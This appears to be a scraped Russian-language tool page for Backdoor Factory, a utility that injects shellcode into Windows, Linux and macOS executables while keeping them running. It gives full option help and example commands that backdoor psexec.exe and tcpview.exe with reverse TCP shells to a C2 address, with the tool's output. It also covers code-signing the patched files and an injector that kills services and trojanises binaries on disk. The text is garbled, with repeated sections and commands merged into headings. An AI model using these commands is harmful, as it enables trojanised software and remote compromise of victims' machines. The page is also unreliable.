Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.
Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.
Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).
Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.
Особенности:
PE файлы
Пользователь может:
Автор: Joshua Pitts
Лицензия: GPLv3
Справка по Backdoor Factory
Использование:
Страница man отсутствует.
Примеры запуска Backdoor Factory
Патчить exe/dll используя существующий code cave:
Указанный пользователь шеллкод:
BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl:
Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):
Модуль injector будет искать на диске целевые бинарники для бэкдора. Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.
Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Backdoor Factory
Это утилита командной строки.
Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.
Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).
Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.
Особенности:
PE файлы
- Может найти в EXE/DLL.
- По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
- Может сделать инжект шеллкода внутрь code caves или в новую секцию.
- Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
- При выборе code caves, вы можете использовать следующие команды:
- -Jump (j), для прыжка code cave
- -Single (s), для патчинга всего вашего шеллкода в одну code cave
- -Append (a), для создания code cave
- -Ignore (i или q), игнорировать этот бинарник
- Может игнорировать DLLs
- Импорт таблицы парчинга
- AutoPatching (-m automtic)
- Onionduke (-m onionduke)
- Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.
- Патчинг Pre-Text Section и удаление подписи
Пользователь может:
- Предоставить пользовательский шеллкод.
- Патчить директорию исполнимых файлов/dll.
- Выбрать для патча только исполнимые файлы x32 или x64.
- Включить BDF в другие проекты на Python, смотрите pebin.py и elfbin.py
Автор: Joshua Pitts
Лицензия: GPLv3
Справка по Backdoor Factory
Использование:
Руководство по Backdoor Factorybackdoor.py [опции]
Опции:
-h, --help показать справку и выйти
-f ФАЙЛ, --file=ФАЙЛ ФАЙЛ для бэкдора
-s ШЕЛЛ, --shell=ШЕЛЛ
Полезные нагрузки, доступные для использования.
Используйте 'show' для просмотра полезных нагрузок.
-H ХОСТ, --hostip=ХОСТ
IP от C2 для обратного подключения.
-P ПОРТ, --port=ПОРТ Это порт как для обратного подключения в
обратном шелле, так и для прослушивания на связанном шелле
-J, --cave_jumping Выберите эту опцию, если вы хотите использовать code cave
jumping для дальнейшего скрытия шеллкода в бинарнике.
-a, --add_new_section
Указание добавлять новую секцию в exe
(лучший успех) но меньше шансов избежать антивирусы
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
Переданный пользователем шеллкод, убедитесь, что
соответствует архитектуре цели.
-c, --cave Флаг cave найдёт code caves, которые могут использоваться
для припрятывания шеллкода. Это выведет все
code caves указанного размера.
С этой настройкой можно использовать флаг -l.
-l SHELL_LEN, --shell_length=SHELL_LEN
Для использования с -c в помощи поиска code caves
различных размеров
-o ВЫВОД, --output-file=ВЫВОД
Файл выводао для бэкдора
-n NSECTION, --section=NSECTION
Имя новой специи, должно быть менее семи символов
-d ДИРЕКТОРИЯ, --directory=ДИРЕКТОРИЯ
Это расположение файлов, которые вы хотите
забэкдорить. Вы можете ускорить внедрение бэкдоров
принудительным вложением codecave в
exe используя настройку -a.
-w, --change_access Этот флаг меняет раздел, где находится codecave
на RWE. Иногда это необходимо. По умолчанию включено.
Если отключить, то backdoor может потерпеть неудачу.
-i, --injector Эта команда включает вbackdoor factory механизм
охоты и бэкдора (Hunt and backdoor: Injector).
Отредактируйте настройки цели в модуле инжектора.
-u СУФФИКС, --suffix=СУФФИКС
Для использования с инжектором, добавить суффикс к
оригинальному имени файла для простого восстановления
-D, --delete_original
Для использования с модулем инжектора. Эта команда удаляет
оригинальный файл. Не для использования в рабочих системах.
*Автор не несёт ответственности за тупое использование.*
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Начальная точка дискового смещения. Некоторые авторы
обфусцируют дисковым смещением для избегания
обратной инженерии, если вы нашли один из этих файлов,
то используйте этот флаг после нахождения смещения.
-S, --support_check Определить, поддерживается ли файл BDF до
бэкдоринга файла. Используйте как есть или в вербальном
режиме. Эта проверка проводится автоматически при
попытке встроить в файл бэкдор.
-M, --cave-miner Будущее использование, для определения самого
маленького шеллкода, возможного в файле PE
-q, --no_banner Убивает банер.
-v, --verbose Для вывода отладочной информации.
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x86, или x64 (тип исполнимых файлов). По умолчанию=ALL
-Z, --zero_cert Разрешает перезапись указателя на PE
таблицу сертификатов, эффективно удаляя сертификат
из двоичного файла для всех намерений и целей
-R, --runas_admin ЭКСПЕРИМЕНТАЛЬНАЯ Проверяет бинарники PE
на 'requestedExecutionLevel level="highestAvailable"'. Если
эта строка включена в бинарник, то он должен запускаться от
системы/админа. Если не в режиме Support Check mode
то будет сделана попытка проптчить highestAvailable в manifest
если существует запись requestedExecutionLevel.
-L, --patch_dll Используйте эту настройку если вы НЕ хотите патчить DLL.
По умолчанию они патчатся.
-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
Для формата MACH-O. Если fat файл, фокус на какую архитектуру
патч. По умолчанию это x64. Для принудительного x86 используйте -F x86,
для принудительного выбора обеих архитектур используйте -F ALL.
-B BEACON, --beacon=BEACON
Для полезных нагрузок с функцией прозвона,
установить время в секундах
-m PATCH_METHOD, --patch-method=PATCH_METHOD
Метод патча для файлов PE, 'manual','automatic',
replace и onionduke
-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
Для onionduke. Укажите ваш желаемый бинарник.
-X, --xp_mode По умолчанию: НЕ поддерживать устаревшие
машины XP, используйте -X для поддержки XP. По
умолчанию бинарники будут останавливаться на XP
машинах (например, песочницы)
-A, --idt_in_cave ЭКСПЕРИМЕНТАЛЬНАЯ По умолчанию новый Import Directory Table
создаётся в новой секции, вызвав этот флаг
он будет размещён в code cave. Это может привести к вылету
исполнимого файла в некоторых обстоятельствах. Сперва протестируйте на целевых бинарников.
-C, --code_sign Только для тех, кто с сертификатами для подписи кода хочет подписать PE
исполнимые файлы. Укажите ваш ключ подписи и
приватный ключ, signingcert.cer и signingPrivateKey.pem
соответственно в директории сертификатов, получение
подписных сертификатов это ваша проблема.
Страница man отсутствует.
Примеры запуска Backdoor Factory
Патчить exe/dll используя существующий code cave:
Патчить exe/dll добавлением новой секции кода:./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
Патчить директорию с exe:./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
...вывод слишком длинный для этой страницы..../backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
Указанный пользователь шеллкод:
PEcodeSigningmsfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl:
Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):
Назовите ваши сертификаты в ТОЧНОСТИ как показано:echo -n yourpassword > certs/passFile.txt
Ваша директория certs/ должна в точности выглядеть так:signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
Включите подписывание кода PE флагом -C так:certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
При успешном запуске вы должны в выводе BDF увидеть следующую строку:./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
Hunt и backdoor: Injector | Только для Windows[*] Code Signing Succeeded
Модуль injector будет искать на диске целевые бинарники для бэкдора. Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.
Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.
Установка Backdoor Factory./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Backdoor Factory
Это утилита командной строки.